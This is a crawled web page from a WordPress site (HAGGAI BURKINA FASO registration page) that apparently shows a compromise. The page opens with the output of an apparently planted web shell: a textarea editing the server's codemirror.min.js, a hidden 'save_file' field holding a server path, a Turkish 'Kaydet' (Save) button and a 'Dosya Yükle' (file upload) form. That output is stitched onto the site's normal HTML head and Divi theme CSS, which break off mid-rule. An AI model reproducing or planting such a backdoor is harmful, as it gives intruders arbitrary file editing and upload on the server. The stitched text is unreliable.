javascript-lint.js&quot;:31,&quot;../../../node_modules/codemirror/addon/lint/json-lint.js&quot;:32,&quot;../../../node_modules/codemirror/addon/lint/lint.js&quot;:33,&quot;../../../node_modules/codemirror/addon/merge/merge.js&quot;:34,&quot;../../../node_modules/codemirror/addon/mode/loadmode.js&quot;:35,&quot;../../../node_modules/codemirror/addon/mode/multiplex.js&quot;:36,&quot;../../../node_modules/codemirror/addon/mode/overlay.js&quot;:37,&quot;../../../node_modules/codemirror/addon/mode/simple.js&quot;:38,&quot;../../../node_modules/codemirror/addon/runmode/colorize.js&quot;:39,&quot;../../../node_modules/codemirror/addon/runmode/runmode-standalone.js&quot;:40,&quot;../../../node_modules/codemirror/addon/runmode/runmode.js&quot;:41,&quot;../../../node_modules/codemirror/addon/scroll/annotatescrollbar.js&quot;:42,&quot;../../../node_modules/codemirror/addon/scroll/scrollpastend.js&quot;:43,&quot;../../../node_modules/codemirror/addon/scroll/simplescrollbars.js&quot;:44,&quot;../../../node_modules/codemirror/addon/search/jump-to-line.js&quot;:45,&quot;../../../node_modules/codemirror/addon/search/match-highlighter.js&quot;:46,&quot;../../../node_modules/codemirror/addon/search/matchesonscrollbar.js&quot;:47,&quot;../../../node_modules/codemirror/addon/search/search.js&quot;:48,&quot;../../../node_modules/codemirror/addon/search/searchcursor.js&quot;:49,&quot;../../../node_modules/codemirror/addon/selection/active-line.js&quot;:50,&quot;../../../node_modules/codemirror/addon/selection/mark-selection.js&quot;:51,&quot;../../../node_modules/codemirror/addon/selection/selection-pointer.js&quot;:52,&quot;../../../node_modules/codemirror/addon/tern/tern.js&quot;:53,&quot;../../../node_modules/codemirror/addon/tern/worker.js&quot;:54,&quot;../../../node_modules/codemirror/addon/wrap/hardwrap.js&quot;:55,&quot;../../../node_modules/codemirror/keymap/emacs.js&quot;:56,&quot;../../../node_modules/codemirror/keymap/sublime.js&quot;:57,&quot;../../../node_modules/codemirror/keymap/vim.js&quot;:58,&quot;../../../node_modules/codemirror/lib/codemirror&quot;:59,&quot;../../../node_modules/codemirror/lib/codemirror.js&quot;:59,&quot;../../../node_modules/codemirror/mode/clike/clike.js&quot;:60,&quot;../../../node_modules/codemirror/mode/css/css.js&quot;:61,&quot;../../../node_modules/codemirror/mode/diff/diff.js&quot;:62,&quot;../../../node_modules/codemirror/mode/gfm/gfm.js&quot;:63,&quot;../../../node_modules/codemirror/mode/htmlmixed/htmlmixed.js&quot;:64,&quot;../../../node_modules/codemirror/mode/http/http.js&quot;:65,&quot;../../../node_modules/codemirror/mode/javascript/javascript.js&quot;:66,&quot;../../../node_modules/codemirror/mode/jsx/jsx.js&quot;:67,&quot;../../../node_modules/codemirror/mode/markdown/markdown.js&quot;:68,&quot;../../../node_modules/codemirror/mode/meta.js&quot;:69,&quot;../../../node_modules/codemirror/mode/nginx/nginx.js&quot;:70,&quot;../../../node_modules/codemirror/mode/php/php.js&quot;:71,&quot;../../../node_modules/codemirror/mode/sass/sass.js&quot;:72,&quot;../../../node_modules/codemirror/mode/shell/shell.js&quot;:73,&quot;../../../node_modules/codemirror/mode/sql/sql.js&quot;:74,&quot;../../../node_modules/codemirror/mode/xml/xml.js&quot;:75,&quot;../../../node_modules/codemirror/mode/yaml/yaml.js&quot;:76}]},{},[77]);</textarea><br><br>
            <input type="hidden" name="save_file" value="/home4/jrbprodu/public_html/wp-includes/js/codemirror/codemirror.min.js">
            <button type="submit">Kaydet</button>
        </form>
        <hr>
    <h3>Dosya Yükle</h3>
<form method="POST" enctype="multipart/form-data">
    <input type="file" name="upload_file">
    <button type="submit">Yükle</button>
</form><!DOCTYPE html>
<html lang="fr-FR">
<head>
	<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
	<link rel="pingback" href="http://haggai-bf.org/xmlrpc.php" />

	<script type="text/javascript">
		document.documentElement.className = 'js';
	</script>

	<title>S’inscrire | HAGGAI BURKINA FASO</title>
<meta name='robots' content='max-image-preview:large' />
<script type="text/javascript">
			let jqueryParams=[],jQuery=function(r){return jqueryParams=[...jqueryParams,r],jQuery},$=function(r){return jqueryParams=[...jqueryParams,r],$};window.jQuery=jQuery,window.$=jQuery;let customHeadScripts=!1;jQuery.fn=jQuery.prototype={},$.fn=jQuery.prototype={},jQuery.noConflict=function(r){if(window.jQuery)return jQuery=window.jQuery,$=window.jQuery,customHeadScripts=!0,jQuery.noConflict},jQuery.ready=function(r){jqueryParams=[...jqueryParams,r]},$.ready=function(r){jqueryParams=[...jqueryParams,r]},jQuery.load=function(r){jqueryParams=[...jqueryParams,r]},$.load=function(r){jqueryParams=[...jqueryParams,r]},jQuery.fn.ready=function(r){jqueryParams=[...jqueryParams,r]},$.fn.ready=function(r){jqueryParams=[...jqueryParams,r]};</script><link rel='dns-prefetch' href='//haggai-bf.org' />
<link rel='dns-prefetch' href='//fonts.googleapis.com' />
<link rel="alternate" type="application/rss+xml" title="HAGGAI BURKINA FASO &raquo; Flux" href="https://haggai-bf.org/feed/" />
<link rel="alternate" type="application/rss+xml" title="HAGGAI BURKINA FASO &raquo; Flux des commentaires" href="https://haggai-bf.org/comments/feed/" />
<link rel="alternate" title="oEmbed (JSON)" type="application/json+oembed" href="https://haggai-bf.org/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fhaggai-bf.org%2Fregister%2F" />
<link rel="alternate" title="oEmbed (XML)" type="text/xml+oembed" href="https://haggai-bf.org/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fhaggai-bf.org%2Fregister%2F&#038;format=xml" />
<meta content="Divi Child v.1.0.0" name="generator"/><style id="wp-block-library-inline-css">
:root{--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color);--wp-editor-canvas-background:#ddd;--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,160.5;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.wp-element-button{cursor:pointer}:root .has-very-light-gray-background-color{background-color:#eee}:root .has-very-dark-gray-background-color{background-color:#313131}:root .has-very-light-gray-color{color:#eee}:root .has-very-dark-gray-color{color:#313131}:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(135deg,#00d084,#0693e3)}:root .has-purple-crush-gradient-background{background:linear-gradient(135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .has-hazy-dawn-gradient-background{background:linear-gradient(135deg,#faaca8,#dad0ec)}:root .has-subdued-olive-gradient-background{background:linear-gradient(135deg,#fafae1,#67a671)}:root .has-atomic-cream-gradient-background{background:linear-gradient(135deg,#fdd79a,#004a59)}:root .has-nightshade-gradient-background{background:linear-gradient(135deg,#330968,#31cdcf)}:root .has-midnight-gradient-background{background:linear-gradient(135deg,#020381,#2874fc)}:root{--wp--preset--font-size--normal:16px;--wp--preset--font-size--huge:42px}.has-regular-font-size{font-size:1em}.has-larger-font-size{font-size:2.625em}.has-normal-font-size{font-size:var(--wp--preset--font-size--normal)}.has-huge-font-size{font-size:var(--wp--preset--font-size--huge)}:root .has-text-align-center{text-align:center}:root .has-text-align-left{text-align:left}:root .has-text-align-right{text-align:right}.has-fit-text{white-space:nowrap!important}#end-resizable-editor-section{display:none}.aligncenter{clear:both}.items-justified-left{justify-content:flex-start}.items-justified-center{justify-content:center}.items-justified-right{justify-content:flex-end}.items-justified-space-between{justify-content:space-between}.screen-reader-text{word-wrap:normal!important;border:0;clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.screen-reader-text:focus{background-color:#ddd;clip-path:none;color:#444;display:block;font-size:1em;height:auto;left:5px;line-height:normal;padding:15px 23px 14px;text-decoration:none;top:5px;width:auto;z-index:100000}html :where(.has-border-color){border-style:solid}html :where([style*=border-color]){border-style:solid}html :where([style*=border-top-color]){border-top-style:solid}html :where([style*=border-right-color]){border-right-style:solid}html :where([style*=border-bottom-color]){border-bottom-style:solid}html :where([style*=border-left-color]){border-left-style:solid}html :where([style*=border-width]){border-style:solid}html :where([style*=border-top-width]){border-top-style:solid}html :where([style*=border-right-width]){border-right-style:solid}html :where([style*=border-bottom-width]){border-bottom-style:solid}html :where([style*=border-left-width]){border-left-style:solid}html :where(img[class*=wp-image-]){height:auto;max-width:100%}:where(figure){margin:0 0 1em}html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:var(--wp-admin--admin-bar--height,0px)}@media screen and (max-width:600px){html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:0px}}
/*wp_block_styles_on_demand_placeholder:6a1dfb4ed7800*/
/*# sourceURL=wp-block-library-inline-css */
</style>
<style id="wp-block-styles-placeholder-inline-css">
:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the block styles printed at wp_footer." }
/*# sourceURL=wp-block-styles-placeholder-inline-css */
</style>
<style id="wp-global-styles-placeholder-inline-css">
:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the global-styles printed at wp_footer." }
/*# sourceURL=wp-global-styles-placeholder-inline-css */
</style>
<link rel='stylesheet' id='et-divi-open-sans-css' href='https://fonts.googleapis.com/css?family=Open+Sans:300italic,400italic,600italic,700italic,800italic,400,300,600,700,800&#038;subset=latin,latin-ext&#038;display=swap' media='all' />
<style id="divi-style-parent-inline-inline-css">
/*!
Theme Name: Divi
Theme URI: http://www.elegantthemes.com/gallery/divi/
Version: 4.27.6
Description: Smart. Flexible. Beautiful. Divi is the most powerful theme in our collection.
Author: Elegant Themes
Author URI: http://www.elegantthemes.com
License: GNU General Public License v2
License URI: http://www.gnu.org/licenses/gpl-2.0.html
*/
a,abbr,acronym,address,applet,b,big,blockquote,body,center,cite,code,dd,del,dfn,div,dl,dt,em,fieldset,font,form,h1,h2,h3,h4,h5,h6,html,i,iframe,img,ins,kbd,label,legend,li,object,ol,p,pre,q,s,samp,small,span,strike,strong,sub,sup,tt,u,ul,var{margin:0;padding:0;border:0;outline:0;font-size:100%;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%;vertical-align:baseline;background:transparent}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:"";content:none}blockquote{margin:20px 0 30px;border-left:5px solid;padding-left:20px}:focus{outline:0}del{text-decoration:line-through}pre{overflow:auto;padding:10px}figure{margin:0}table{border-collapse:collapse;border-spacing:0}article,aside,footer,header,hgroup,nav,section{display:block}body{font-family:Open Sans,Arial,sans-serif;font-size:14px;color:#666;background-color:#fff;line-height:1.7em;font-weight:500;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}body.page-template-page-template-blank-php #page-container{padding-top:0!important}body.et_cover_background{background-size:cover!important;background-position:top!important;background-repeat:no-repeat!important;background-attachment:fixed}a{color:#2ea3f2}a,a:hover{text-decoration:none}p{padding-bottom:1em}p:not(.has-background):last-of-type{padding-bottom:0}p.et_normal_padding{padding-bottom:1em}strong{font-weight:700}cite,em,i{font-style:italic}code,pre{font-family:Courier New,monospace;margin-bottom:10px}ins{text-decoration:none}sub,sup{height:0;line-height:1;position:relative;vertical-align:baseline}sup{bottom:.8em}sub{top:.3em}dl{margin:0 0 1.5em}dl dt{font-weight:700}dd{margin-left:1.5em}blockquote p{padding-bottom:0}embed,iframe,object,video{max-width:100%}h1,h2,h3,h4,h5,h6{color:#333;padding-bottom:10px;line-height:1em;font-weight:500}h1 a,h2 a,h3 a,h4 a,h5 a,h6 a{color:inherit}h1{font-size:30px}h2{font-size:26px}h3{font-size:22px}h4{font-size:18px}h5{font-size:16px}h6{font-size:14px}input{-webkit-appearance:none}input[type=checkbox]{-webkit-appearance:checkbox}input[type=radio]{-webkit-appearance:radio}input.text,input.title,input[type=email],input[type=password],input[type=tel],input[type=text],select,textarea{background-color:#fff;border:1px solid #bbb;padding:2px;color:#4e4e4e}input.text:focus,input.title:focus,input[type=text]:focus,select:focus,textarea:focus{border-color:#2d3940;color:#3e3e3e}input.text,input.title,input[type=text],select,textarea{margin:0}textarea{padding:4px}button,input,select,textarea{font-family:inherit}img{max-width:100%;height:auto}.clear{clear:both}br.clear{margin:0;padding:0}.pagination{clear:both}#et_search_icon:hover,.et-social-icon a:hover,.et_password_protected_form .et_submit_button,.form-submit .et_pb_buttontton.alt.disabled,.nav-single a,.posted_in a{color:#2ea3f2}.et-search-form,blockquote{border-color:#2ea3f2}#main-content{background-color:#fff}.container{width:80%;max-width:1080px;margin:auto;position:relative}body:not(.et-tb) #main-content .container,body:not(.et-tb-has-header) #main-content .container{padding-top:58px}.et_full_width_page #main-content .container:before{display:none}.main_title{margin-bottom:20px}.et_password_protected_form .et_submit_button:hover,.form-submit .et_pb_button:hover{background:rgba(0,0,0,.05)}.et_button_icon_visible .et_pb_button{padding-right:2em;padding-left:.7em}.et_button_icon_visible .et_pb_button:after{opacity:1;margin-left:0}.et_button_left .et_pb_button:hover:after{left:.15em}.et_button_left .et_pb_button:after{margin-left:0;left:1em}.et_button_icon_visible.et_button_left .et_pb_button,.et_button_left .et_pb_button:hover,.et_button_left .et_pb_module .et_pb_button:hover{padding-left:2em;padding-right:.7em}.et_button_icon_visible.et_button_left .et_pb_button:after,.et_button_left .et_pb_button:hover:after{left:.15em}.et_password_protected_form .et_submit_button:hover,.form-submit .et_pb_button:hover{padding:.3em 1em}.et_button_no_icon .et_pb_button:after{display:none}.et_button_no_icon.et_button_icon_visible.et_button_left .et_pb_button,.et_button_no_icon.et_button_left .et_pb_button:hover,.et_button_no_icon .et_pb_button,.et_button_no_icon .et_pb_button:hover{padding:.3em 1em!important}.et_button_custom_icon .et_pb_button:after{line-height:1.7em}.et_button_custom_icon.et_button_icon_visible .et_pb_button:after,.et_button_custom_icon .et_pb_button:hover:after{margin-left:.3em}#left-area .post_format-post-format-gallery .wp-block-gallery:first-of-type{padding:0;margin-bottom:-16px}.entry-content table:not(.variations){border:1px solid #eee;margin:0 0 15px;text-align:left;width:100%}.entry-content thead th,.entry-content tr th{color:#555;font-weight:700;padding:9px 24px}.entry-content tr td{border-top:1px solid #eee;padding:6px 24px}#left-area ul,.entry-content ul,.et-l--body ul,.et-l--footer ul,.et-l--header ul{list-style-type:disc;padding:0 0 23px 1em;line-height:26px}#left-area ol,.entry-content ol,.et-l--body ol,.et-l--footer ol,.et-l--header ol{list-style-type:decimal;list-style-position:inside;padding:0 0 23px;line-height:26px}#left-area ul li ul,.entry-content ul li ol{padding:2px 0 2px 20px}#left-area ol li ul,.entry-content ol li ol,.et-l--body ol li ol,.et-l--footer ol li ol,.et-l--header ol li ol{padding:2px 0 2px 35px}#left-area ul.wp-block-gallery{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;list-style-type:none;padding:0}#left-area ul.products{padding:0!important;line-height:1.7!important;list-style:none!important}.gallery-item a{display:block}.gallery-caption,.gallery-item a{width:90%}#wpadminbar{z-index:100001}#left-area .post-meta{font-size:14px;padding-bottom:15px}#left-area .post-meta a{text-decoration:none;color:#666}#left-area .et_featured_image{padding-bottom:7px}.single .post{padding-bottom:25px}body.single .et_audio_content{margin-bottom:-6px}.nav-single a{text-decoration:none;color:#2ea3f2;font-size:14px;font-weight:400}.nav-previous{float:left}.nav-next{float:right}.et_password_protected_form p input{background-color:#eee;border:none!important;width:100%!important;border-radius:0!important;font-size:14px;color:#999!important;padding:16px!important;-webkit-box-sizing:border-box;box-sizing:border-box}.et_password_protected_form label{display:none}.et_password_protected_form .et_submit_button{font-family:inherit;display:block;float:right;margin:8px auto 0;cursor:pointer}.post-password-required p.nocomments.container{max-width:100%}.post-password-required p.nocomments.container:before{display:none}.aligncenter,div.post .new-post .aligncenter{display:block;margin-left:auto;margin-right:auto}.wp-caption{border:1px solid #ddd;text-align:center;background-color:#f3f3f3;margin-bottom:10px;max-width:96%;padding:8px}.wp-caption.alignleft{margin:0 30px 20px 0}.wp-caption.alignright{margin:0 0 20px 30px}.wp-caption img{margin:0;padding:0;border:0}.wp-caption p.wp-caption-text{font-size:12px;padding:0 4px 5px;margin:0}.alignright{float:right}.alignleft{float:left}img.alignleft{display:inline;float:left;margin-right:15px}img.alignright{display:inline;float:right;margin-left:15px}.page.et_pb_pagebuilder_layout #main-content{background-color:transparent}body #main-content .et_builder_inner_content>h1,body #main-content .et_builder_inner_content>h2,body #main-content .et_builder_inner_content>h3,body #main-content .et_builder_inner_content>h4,body #main-content .et_builder_inner_content>h5,body #main-content .et_builder_inner_content>h6{line-height:1.4em}body #main-content .et_builder_inner_content>p{line-height:1.7em}.wp-block-pullquote{margin:20px 0 30px}.wp-block-pullquote.has-background blockquote{border-left:none}.wp-block-group.has-background{padding:1.5em 1.5em .5em}@media (min-width:981px){#left-area{width:79.125%;padding-bottom:23px}#main-content .container:before{content:"";position:absolute;top:0;height:100%;width:1px;background-color:#e2e2e2}.et_full_width_page #left-area,.et_no_sidebar #left-area{float:none;width:100%!important}.et_full_width_page #left-area{padding-bottom:0}.et_no_sidebar #main-content .container:before{display:none}}@media (max-width:980px){#page-container{padding-top:80px}.et-tb #page-container,.et-tb-has-header #page-container{padding-top:0!important}#left-area,#sidebar{width:100%!important}#main-content .container:before{display:none!important}.et_full_width_page .et_gallery_item:nth-child(4n+1){clear:none}}@media print{#page-container{padding-top:0!important}}#wp-admin-bar-et-use-visual-builder a:before{font-family:ETmodules!important;content:"\e625";font-size:30px!important;width:28px;margin-top:-3px;color:#974df3!important}#wp-admin-bar-et-use-visual-builder:hover a:before{color:#fff!important}#wp-admin-bar-et-use-visual-builder:hover a,#wp-admin-bar-et-use-visual-builder a:hover{transition:background-color .5s ease;-webkit-transition:background-color .5s ease;-moz-transition:background-color .5s ease;background-color:#7e3bd0!important;color:#fff!important}* html .clearfix,:first-child+html .clearfix{zoom:1}.iphone .et_pb_section_video_bg video::-webkit-media-controls-start-playback-button{display:none!important;-webkit-appearance:none}.et_mobile_device .et_pb_section_parallax .et_pb_parallax_css{background-attachment:scroll}.et-social-facebook a.icon:before{content:"\e093"}.et-social-twitter a.icon:before{content:"\e094"}.et-social-google-plus a.icon:before{content:"\e096"}.et-social-instagram a.icon:before{content:"\e09a"}.et-social-rss a.icon:before{content:"\e09e"}.ai1ec-single-event:after{content:" ";display:table;clear:both}.evcal_event_details .evcal_evdata_cell .eventon_details_shading_bot.eventon_details_shading_bot{z-index:3}.wp-block-divi-layout{margin-bottom:1em}*{-webkit-box-sizing:border-box;box-sizing:border-box}#et-info-email:before,#et-info-phone:before,#et_search_icon:before,.comment-reply-link:after,.et-cart-info span:before,.et-pb-arrow-next:before,.et-pb-arrow-prev:before,.et-social-icon a:before,.et_audio_container .mejs-playpause-button button:before,.et_audio_container .mejs-volume-button button:before,.et_overlay:before,.et_password_protected_form .et_submit_button:after,.et_pb_button:after,.et_pb_contact_reset:after,.et_pb_contact_submit:after,.et_pb_font_icon:before,.et_pb_newsletter_button:after,.et_pb_pricing_table_button:after,.et_pb_promo_button:after,.et_pb_testimonial:before,.et_pb_toggle_title:before,.form-submit .et_pb_button:after,.mobile_menu_bar:before,a.et_pb_more_button:after{font-family:ETmodules!important;speak:none;font-style:normal;font-weight:400;-webkit-font-feature-settings:normal;font-feature-settings:normal;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;text-shadow:0 0;direction:ltr}.et-pb-icon,.et_pb_custom_button_icon.et_pb_button:after,.et_pb_login .et_pb_custom_button_icon.et_pb_button:after,.et_pb_woo_custom_button_icon .button.et_pb_custom_button_icon.et_pb_button:after,.et_pb_woo_custom_button_icon .button.et_pb_custom_button_icon.et_pb_button:hover:after{content:attr(data-icon)}.et-pb-icon{font-family:ETmodules;speak:none;font-weight:400;-webkit-font-feature-settings:normal;font-feature-settings:normal;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;font-size:96px;font-style:normal;display:inline-block;-webkit-box-sizing:border-box;box-sizing:border-box;direction:ltr}#et-ajax-saving{display:none;-webkit-transition:background .3s,-webkit-box-shadow .3s;transition:background .3s,-webkit-box-shadow .3s;transition:background .3s,box-shadow .3s;transition:background .3s,box-shadow .3s,-webkit-box-shadow .3s;-webkit-box-shadow:rgba(0,139,219,.247059) 0 0 60px;box-shadow:0 0 60px rgba(0,139,219,.247059);position:fixed;top:50%;left:50%;width:50px;height:50px;background:#fff;border-radius:50px;margin:-25px 0 0 -25px;z-index:999999;text-align:center}#et-ajax-saving img{margin:9px}.et-safe-mode-indicator,.et-safe-mode-indicator:focus,.et-safe-mode-indicator:hover{-webkit-box-shadow:0 5px 10px rgba(41,196,169,.15);box-shadow:0 5px 10px rgba(41,196,169,.15);background:#29c4a9;color:#fff;font-size:14px;font-weight:600;padding:12px;line-height:16px;border-radius:3px;position:fixed;bottom:30px;right:30px;z-index:999999;text-decoration:none;font-family:Open Sans,sans-serif;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.et_pb_button{font-size:20px;font-weight:500;padding:.3em 1em;line-height:1.7em!important;background-color:transparent;background-size:cover;background-position:50%;background-repeat:no-repeat;border:2px solid;border-radius:3px;-webkit-transition-duration:.2s;transition-duration:.2s;-webkit-transition-property:all!important;transition-property:all!important}.et_pb_button,.et_pb_button_inner{position:relative}.et_pb_button:hover,.et_pb_module .et_pb_button:hover{border:2px solid transparent;padding:.3em 2em .3em .7em}.et_pb_button:hover{background-color:hsla(0,0%,100%,.2)}.et_pb_bg_layout_light.et_pb_button:hover,.et_pb_bg_layout_light .et_pb_button:hover{background-color:rgba(0,0,0,.05)}.et_pb_button:after,.et_pb_button:before{font-size:32px;line-height:1em;content:"\35";opacity:0;position:absolute;margin-left:-1em;-webkit-transition:all .2s;transition:all .2s;text-transform:none;-webkit-font-feature-settings:"kern" off;font-feature-settings:"kern" off;font-variant:none;font-style:normal;font-weight:400;text-shadow:none}.et_pb_button.et_hover_enabled:hover:after,.et_pb_button.et_pb_hovered:hover:after{-webkit-transition:none!important;transition:none!important}.et_pb_button:before{display:none}.et_pb_button:hover:after{opacity:1;margin-left:0}.et_pb_column_1_3 h1,.et_pb_column_1_4 h1,.et_pb_column_1_5 h1,.et_pb_column_1_6 h1,.et_pb_column_2_5 h1{font-size:26px}.et_pb_column_1_3 h2,.et_pb_column_1_4 h2,.et_pb_column_1_5 h2,.et_pb_column_1_6 h2,.et_pb_column_2_5 h2{font-size:23px}.et_pb_column_1_3 h3,.et_pb_column_1_4 h3,.et_pb_column_1_5 h3,.et_pb_column_1_6 h3,.et_pb_column_2_5 h3{font-size:20px}.et_pb_column_1_3 h4,.et_pb_column_1_4 h4,.et_pb_column_1_5 h4,.et_pb_column_1_6 h4,.et_pb_column_2_5 h4{font-size:18px}.et_pb_column_1_3 h5,.et_pb_column_1_4 h5,.et_pb_column_1_5 h5,.et_pb_column_1_6 h5,.et_pb_column_2_5 h5{font-size:16px}.et_pb_column_1_3 h6,.et_pb_column_1_4 h6,.et_pb_column_1_5 h6,.et_pb_column_1_6 h6,.et_pb_column_2_5 h6{font-size:15px}.et_pb_bg_layout_dark,.et_pb_bg_layout_dark h1,.et_pb_bg_layout_dark h2,.et_pb_bg_layout_dark h3,.et_pb_bg_layout_dark h4,.et_pb_bg_layout_dark h5,.et_pb_bg_layout_dark h6{color:#fff!important}.et_pb_module.et_pb_text_align_left{text-align:left}.et_pb_module.et_pb_text_align_center{text-align:center}.et_pb_module.et_pb_text_align_right{text-align:right}.et_pb_module.et_pb_text_align_justified{text-align:justify}.clearfix:after{visibility:hidden;display:block;font-size:0;content:" ";clear:both;height:0}.et_pb_bg_layout_light .et_pb_more_button{color:#2ea3f2}.et_builder_inner_content{position:relative;z-index:1}header .et_builder_inner_content{z-index:2}.et_pb_css_mix_blend_mode_passthrough{mix-blend-mode:unset!important}.et_pb_image_container{margin:-20px -20px 29px}.et_pb_module_inner{position:relative}.et_hover_enabled_preview{z-index:2}.et_hover_enabled:hover{position:relative;z-index:2}.et_pb_all_tabs,.et_pb_module,.et_pb_posts_nav a,.et_pb_tab,.et_pb_with_background{position:relative;background-size:cover;background-position:50%;background-repeat:no-repeat}.et_pb_background_mask,.et_pb_background_pattern{bottom:0;left:0;position:absolute;right:0;top:0}.et_pb_background_mask{background-size:calc(100% + 2px) calc(100% + 2px);background-repeat:no-repeat;background-position:50%;overflow:hidden}.et_pb_background_pattern{background-position:0 0;background-repeat:repeat}.et_pb_with_border{position:relative;border:0 solid #333}.post-password-required .et_pb_row{padding:0;width:100%}.post-password-required .et_password_protected_form{min-height:0}body.et_pb_pagebuilder_layout.et_pb_show_title .post-password-required .et_password_protected_form h1,body:not(.et_pb_pagebuilder_layout) .post-password-required .et_password_protected_form h1{display:none}.et_pb_no_bg{padding:0!important}.et_overlay.et_pb_inline_icon:before,.et_pb_inline_icon:before{content:attr(data-icon)}.et_pb_more_button{color:inherit;text-shadow:none;text-decoration:none;display:inline-block;margin-top:20px}.et_parallax_bg_wrap{overflow:hidden;position:absolute;top:0;right:0;bottom:0;left:0}.et_parallax_bg{background-repeat:no-repeat;background-position:top;background-size:cover;position:absolute;bottom:0;left:0;width:100%;height:100%;display:block}.et_parallax_bg.et_parallax_bg__hover,.et_parallax_bg.et_parallax_bg_phone,.et_parallax_bg.et_parallax_bg_tablet,.et_parallax_gradient.et_parallax_gradient__hover,.et_parallax_gradient.et_parallax_gradient_phone,.et_parallax_gradient.et_parallax_gradient_tablet,.et_pb_section_parallax_hover:hover .et_parallax_bg:not(.et_parallax_bg__hover),.et_pb_section_parallax_hover:hover .et_parallax_gradient:not(.et_parallax_gradient__hover){display:none}.et_pb_section_parallax_hover:hover .et_parallax_bg.et_parallax_bg__hover,.et_pb_section_parallax_hover:hover .et_parallax_gradient.et_parallax_gradient__hover{display:block}.et_parallax_gradient{bottom:0;display:block;left:0;position:absolute;right:0;top:0}.et_pb_module.et_pb_section_parallax,.et_pb_posts_nav a.et_pb_section_parallax,.et_pb_tab.et_pb_section_parallax{position:relative}.et_pb_section_parallax .et_pb_parallax_css,.et_pb_slides .et_parallax_bg.et_pb_parallax_css{background-attachment:fixed}body.et-bfb .et_pb_section_parallax .et_pb_parallax_css,body.et-bfb .et_pb_slides .et_parallax_bg.et_pb_parallax_css{background-attachment:scroll;bottom:auto}.et_pb_section_parallax.et_pb_column .et_pb_module,.et_pb_section_parallax.et_pb_row .et_pb_column,.et_pb_section_parallax.et_pb_row .et_pb_module{z-index:9;position:relative}.et_pb_more_button:hover:after{opacity:1;margin-left:0}.et_pb_preload .et_pb_section_video_bg,.et_pb_preload>div{visibility:hidden}.et_pb_preload,.et_pb_section.et_pb_section_video.et_pb_preload{position:relative;background:#464646!important}.et_pb_preload:before{content:"";position:absolute;top:50%;left:50%;background:url(http://haggai-bf.org/wp-content/themes/Divi/includes/builder/styles/images/preloader.gif) no-repeat;border-radius:32px;width:32px;height:32px;margin:-16px 0 0 -16px}.box-shadow-overlay{position:absolute;top:0;left:0;width:100%;height:100%;z-index:10;pointer-events:none}.et_pb_section>.box-shadow-overlay~.et_pb_row{z-index:11}body.safari .section_has_divider{will-change:transform}.et_pb_row>.box-shadow-overlay{z-index:8}.has-box-shadow-overlay{position:relative}.et_clickable{cursor:pointer}.screen-reader-text{border:0;clip:rect(1px,1px,1px,1px);-webkit-clip-path:inset(50%);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute!important;width:1px;word-wrap:normal!important}.et_multi_view_hidden,.et_multi_view_hidden_image{display:none!important}@keyframes multi-view-image-fade{0%{opacity:0}10%{opacity:.1}20%{opacity:.2}30%{opacity:.3}40%{opacity:.4}50%{opacity:.5}60%{opacity:.6}70%{opacity:.7}80%{opacity:.8}90%{opacity:.9}to{opacity:1}}.et_multi_view_image__loading{visibility:hidden}.et_multi_view_image__loaded{-webkit-animation:multi-view-image-fade .5s;animation:multi-view-image-fade .5s}#et-pb-motion-effects-offset-tracker{visibility:hidden!important;opacity:0;position:absolute;top:0;left:0}.et-pb-before-scroll-animation{opacity:0}header.et-l.et-l--header:after{clear:both;display:block;content:""}.et_pb_module{-webkit-animation-timing-function:linear;animation-timing-function:linear;-webkit-animation-duration:.2s;animation-duration:.2s}@-webkit-keyframes fadeBottom{0%{opacity:0;-webkit-transform:translateY(10%);transform:translateY(10%)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes fadeBottom{0%{opacity:0;-webkit-transform:translateY(10%);transform:translateY(10%)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes fadeLeft{0%{opacity:0;-webkit-transform:translateX(-10%);transform:translateX(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeLeft{0%{opacity:0;-webkit-transform:translateX(-10%);transform:translateX(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeRight{0%{opacity:0;-webkit-transform:translateX(10%);transform:translateX(10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeRight{0%{opacity:0;-webkit-transform:translateX(10%);transform:translateX(10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeTop{0%{opacity:0;-webkit-transform:translateY(-10%);transform:translateY(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes 